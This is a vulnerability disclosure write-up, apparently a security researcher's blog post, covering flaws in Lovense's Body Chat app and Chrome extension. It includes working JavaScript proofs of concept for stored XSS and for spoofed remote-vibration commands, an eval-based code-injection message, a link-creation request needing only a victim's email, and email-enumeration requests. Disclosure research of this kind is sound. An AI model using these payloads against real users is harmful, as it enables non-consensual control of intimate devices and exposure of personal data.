Some of the vulnerabilities disclosed have not been fixed. I follow the 90 days deadline that Google Project Zero use in their responsible disclosure policy (https://googleprojectzero.blogspot.com.es/2015/02/feedback-and-data-driven-updates-to.html).
Report Timeline
- 2017-03-31 - I sent a report of the vulnerabilities to security@lovense.com
- 2017-04-01 - Received a response telling me that they are looking into it.
- 2017-04-06 - Received an email telling me the fixes they are going to include in order to fix the issues. They were trying to fix all them in 2 or 3 weeks.
- 2017-04-06 - I replied all right.
- 2017-05-22 - I sent an email asking for updates about the fixes and telling them that 49 was passed since the first report and I was following the 90 days deadline.
- 2017-05-23 - I received a response telling me that some issues have already been fixed, but the not fixed issues will be automatically fixed in their new app. They were developing a new app, but if they are not able to release it in time, they will update the actual app.
- 2017-06-29 - 90 days deadline arrived.
- 2017-07-06 - 97 days since first report. Disclosure.
First of all, let's explain how Lovense toys work. The toy is controlled by using a mobile app (available for Android and iOS) called Body Chat. The mobile app is an Apache Cordova app (https://cordova.apache.org), so it is build in HTML and JavaScript (interesting to look for XSS vulnerabilities). The app controls the toy over bluetooth.
This app also allows to chat with other users, and give the possibility to remote control the toy to the chat partner. The chat functionability works by using a jabber-based protocol over Websockets.
This toy is very used in webcam's model's websites (such as Chaturbate, MyFreeCams..), because it provides a browser extension (https://es.lovense.com/cam-model/guide/phone#chaturbate) that use chat's messages in the website to detect if someone have sent any tokens/tips (virtual money in these websites) in order to make the toy vibrate. But, how the communication between the Chrome Extension and the Body Chat app works?? Let's explain it!
The communication is simple, the app make a heartbead request every few seconds. The request is something like:
GET /chrome/setLocalToy HTTP/1.1
Host: apps.lovense.com
Content-Type: application/json; charset=UTF-8
Origin: file://
Connection: keep-alive
Accept-Language: es-es
Accept-Encoding: gzip, deflate
Content-Length: 116
{"email":"user@mail.com","address":"192.168.1.129","port":"3000","portHttp":"3001","toys":{}}
As we can see, the app is sending two open ports (random every time the app is started) on the device, the local network IP address, a list of connected toys and the user email. Do you see something bad here? no? well, we will speak about it later..
Then, the Chrome Extension just make a request to receive the available toys, the IP address and the opened ports. So, the computer running the Chrome extension and the mobile with the app must be on the same local network in other to work. The Chrome extension will try to connect to the mobile in one of the opened port. In our example, the 3000's port have a WebSocket server listening on it, so basically the extension connect to the Websockets server and send commands in order to make the vibrator vibrate when neccesary.
The app also allows users to generate and share a link to provide remote control of the toy to other users. This is an important feature because two of the most dangerous vulnerabilities are based on it.
Now, we have an idea about how the app works, let's see how we can break it :)
Vulnerability 1. XSS on Body Chat app.
An user can add JavaScript code on his username, profile photo and the body of a chat message. To do that, he only need to send the same request that the app does, but adding the following in the username, the profile photo 'type' field or the body of a chat message:
<script>navigator.notification.confirm('This is a XSS!', null, 'XSS', ['Ok']);</script>
It bypasses the HTML tags filter by using '<' instead of '<'.
Proof of concept in JavaScript:
function doSomething(){
var xssExploit = "navigator.notification.confirm('This is a XSS!', null, 'XSS', ['Ok']);";
var victim = "lovensetest_7777!!!yopmail.com@im.lovense.com";
// start communication
socket.send('<?xml version="1.0"?><stream:stream xmlns:stream="http://etherx.jabber.org/streams" version="1.0" xmlns="jabber:client" to="im.lovense.com" xml:lang="en" xmlns:xml="http://www.w3.org/XML/1998/namespace" >');
socket.send("<iq type='get' xmlns='jabber:client' id='8579:sendIQ'><query xmlns='jabber:iq:roster'/></iq>");
socket.send("<presence xmlns='jabber:client'><show>chat</show><status>online</status><setting>%7B%22sound%22%3Atrue%2C%22status%22%3A%22online%22%2C%22videoRecord%22%3Afalse%7D</setting></presence>")
// change username/photo info to include XSS
socket.send("<iq type='set' from='lovensetest_2222!!!yopmail.com@im.lovense.com' xmlns='jabber:client' id='8580:sendIQ'><vCard xmlns='vcard-temp'><FN>lovensetest_2222<script>"+ xssExploit +"</script></FN><SEX>m</SEX><PHOTO><BINVAL>[BASE64_ENCODED_IMAGE]</BINVAL><TYPE>image/jpeg'><script>"+ xssExploit +"</script></TYPE></PHOTO></vCard></iq>")
// send friends request
//socket.send("<presence to='"+ victim +"' type='subscribe' name='null' text='undefined' xmlns='jabber:client'/>")
// send message to trigger the XSS, and include XSS on message body
socket.send("<message to='"+ victim +"' type='chat' xmlns='jabber:client'><body><script>"+ xssExploit +"</script></body><active xmlns='http://jabber.org/protocol/chatstates'/></message>")
}
function exploit(){
socket = new WebSocket("wss://im1.lovense.com/s?text=[TOKEN_RELATED_TO_THE_USER]");
socket.onopen = function () {
doSomething();
};
// Log errors
socket.onerror = function (err) {
console.log('WebSocket Error ');
console.log(err)
};
// Log messages from the server
socket.onmessage = function (e) {
console.log('Server: ' + e.data);
};
}
The 'text' param in the websocket URL is related to the user. Other information sent in the websocket communitation is also related to the user.
The XSS can be triggered without being a friend of the victim. As we can see in the PoC, the attacker can send a chat message and the victim's app will receive it and parse it, so the code will be executed and the attacker does not have to be a friend neither send a friend request.
The JavaScript code in the 'type' field of the image will be triggered in the chat window. Maybe it could be triggered in other sites, so I think the best way to fix these XSS is to filter the received input from the user before save it in the DB.
This vulnerability gives to the attacker full control of the app, for example, to control the toy without permission. The attacker just need the email of the victim.
Vulnerability 2. DoS to the Lovense Extension for Chrome.
As we introduced before, the Body chat app sends a heartbeath request every few seconds.GET /chrome/setLocalToy HTTP/1.1
Host: apps.lovense.com
Content-Type: application/json; charset=UTF-8
Origin: file://
Connection: keep-alive
Accept-Language: es-es
Accept-Encoding: gzip, deflate
Content-Length: 116
{"email":"victim@mail.com","address":"192.168.1.129","port":"3000","portHttp":"3000","toys":{}}
This request is used by the Chrome extension (or Lovense Browser), to connect to the app in a local network and send the proper commands to make the toy vibrate.
An attacker, knowing the email of a cam model, is able to do a denial of service attack by sending invalid IP directions.
Also, it opens ports on the smartphone, so if the attacker is in the same network he can connect to the opened ports and send commands to make vibrate the toy.
Vulnerability 3. Create a link to control the toy.
An attacker, knowing the email of a cam model, can generate a link to control the toy by using the following GET request:
https://www.lovense.com/app/cam/createSession?customerid=u57a1I&tid=&expires=0&allow2way=false&showaffiliate=true&modelEmail=victim@email.com&mode=&countTimeImmediately=false
As we can see, the request only include the victim's email to generate the link, the rest of the information sent is not used to verify the request, it is just to set up the link.
The 'customerid' field is just a random alphanumeric string whose size must be 6.
Vulnerability 4. Remote User Email Enumeration.
To add a friend on Body Chat app, it sends a request to verify if an user with the specified email exists. If it exists, then it will send the friend request. The request to verify the email address is:
POST /ajaxCheckEmailRegisted HTTP/1.1
Host: apps.lovense.com
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: file://
Connection: keep-alive
Accept: */*
Accept-Language: es-es
Accept-Encoding: gzip, deflate
Content-Length: 47
email=user%40mail.com&type=addFriend&model=true
The 'model' field is used to check if is model or not, so it could help the attacker to make the search of an specific account easier.
They fixed this issue by limiting the number of emails you can check in a hour, but with the update they introduced the possibility of search users by username... So, now you can get the email address of a webcam model if she use the same user name ¯\_(ツ)_/¯. The API returns the data encrypted, but you can get the hardcoded keys and IVs from the apk and decrypt the returned email.
Vulnerability 5. Remote Control using Chat Messages.
The Remote control by shared links works by receiving over the jabber-based protocol over WebSockets a chat message from: system!!!hytto.com@im.lovense.com/robotwith the following content:
<message to="victim!!!domain.com@im.lovense.com" id="1VwJL-9819050" type="chat" from="system!!!hytto.com@im.lovense.com/robot"><body>"{\"symbol\":\"hytto_robot_2013\",\"type\":\"order\",\"content\":\"Vibrate:0;\"}"</body><thread>[REDACTED]</thread></message>
Any user can replicate the message to make vibrate the vibrator. The following JavaScript code is a Proof of concept which connects to the WebSocket server and sends the chat message to the victim to make the toy vibrate.
function doSomething(){
var victim = "victim!!!domain@im.lovense.com";
var vibrationLevel = "5";
// start communication
socket.send('<?xml version="1.0"?><stream:stream xmlns:stream="http://etherx.jabber.org/streams" version="1.0" xmlns="jabber:client" to="im.lovense.com" xml:lang="en" xmlns:xml="http://www.w3.org/XML/1998/namespace" >');
socket.send("<iq type='get' xmlns='jabber:client' id='8579:sendIQ'><query xmlns='jabber:iq:roster'/></iq>");
socket.send("<presence xmlns='jabber:client'><show>chat</show><status>online</status><setting>%7B%22sound%22%3Atrue%2C%22status%22%3A%22online%22%2C%22videoRecord%22%3Afalse%7D</setting></presence>")
// send message to vibrate
socket.send('<message to="'+ victim +'" type="chat" xmlns="jabber:client"><body>"{\\"symbol\\":\\"hytto_robot_2013\\",\\"type\\":\\"order\\",\\"content\\":\\"Vibrate:'+ vibrationLevel +';\\"}"</body><active xmlns="http://jabber.org/protocol/chatstates"/></message>')
}
function exploit(){
socket = new WebSocket("wss://im1.lovense.com/s?text=[RELATED_TO_THE_USER]");
socket.onopen = function () {
doSomething();
};
// Log errors
socket.onerror = function (err) {
console.log('WebSocket Error ');
console.log(err)
};
// Log messages from the server
socket.onmessage = function (e) {
console.log('Server: ' + e.data);
};
}
The app should check if the message have been sent by system!!!hytto.com@im.lovense.com/robot or check if the user who sent the message is allowed to send this type of message before make the toy vibrate.
But the RobotController in the app is not only able to control the vibrator, it also have been coded to receive other type of orders. One of these orders allows to execute JavaScript code in the app.
As you can see in the previous images, it is prepared to receive a message with the "type" field equal to "js" in order to execute the JavaScript code provided in the field "content" using "eval". Example:
<message to="victim" type="chat" xmlns="jabber:client"><body>"{\\"symbol\\":\\"hytto_robot_2013\\",\\"type\\":\\"js\\",\\"content\\":\\"alert(1);\\"}"</body><active xmlns="http://jabber.org/protocol/chatstates"/></message>
Bug 1. Bad tips detection on Chrome Extension.
I do not consider it a security issue, but a bug which should be fixed.To detect if an user have given tokens to a model, the Chrome extension uses the chat events in the website. In certain websites, you do not check correctly if is really a tip or if it is a user message in the chat, so an user can send a chat message with a specific structure in order to trigger the extension and make the toy vibrate. The affected websites are:
- MyFreeCams
- The user just have to send the message: Received a 50 tokens tip from username!
- CamSoda
- The user just have to send the message: username tipped 15 tokens
Protect yourself
If you are a Body Chat user (webcam model), you can protect yourself by following the following steps:- Do not publish the email address you use in your Lovense account. If you published it, create a new account with another email.
- Do not use the same username that you use in other services.
Conclusions
It has been very interesting to learn how this devices work, how the Chrome extension and the app work together over Websockets. Once we had an idea about how it works, it was interesting to detect the vulnerabilities.
I think we can extract an important conclusion about this research, internet of thing (in this case sex toys) have too much to do in order to improve their security measures. I am very happy to help a little bit and learn more about information security, which is what I really love to do.
Behind the scenes
I have explained how the communication between the Body Chat app and the Chrome Extension works in order to make the toy work. I have also explained the vulnerabilities I found during my research, but maybe you also want to know how I found them, what tools I used. Well, in this section I will try to give you the names of the tools I used and what I did to understand how the app/extension works. :)First of all, I downloaded the Body chat app and started to see how it works. I just used the app as a normal user (I created a few accounts, changed profile photo and user info, sent chat messages between my test's accounts..). While I did all this, I had Burp Proxy (https://portswigger.net/burp/) configured on my phone in order to see what HTTP requests the app made.
Since I did not have a toy, I did not have anything interesting to test, so I started to see the Chrome Extension. I downloaded it and extracted the ZIP file (https://es.lovense.com/cam-model/guide/add-extension-manually#noheader). Then, I started to see the source code of the extension. It was obfuscated, so I used http://jsbeautifier.org/ in order to make the code a little more readable. Then, I had to try to understand the code, renaming variables, etc. By doing it I found vulnerability 3, I also understood better how the communication between the app and the extension worked.
Then, I downloaded the APK of the app and used apktool (https://ibotpeaches.github.io/Apktool/) to decompile the app and see how it works. I realized that the app was an Apache Cordova app, so I decided to see if a was able to get an XSS. I tried changing username, photo info, chat messages, etc. In order to do it, I just did a PoC code in Javascript by seeing the protocol of the Websockets requests. It was not difficult :P
More Info
I stared this research because I saw this DEFCON 24 conference about sex toys, and I thought it could be interesting to learn about how they works.https://www.youtube.com/watch?v=v1d0Xa2njVg
I hope you liked this blog post! See you in the next post!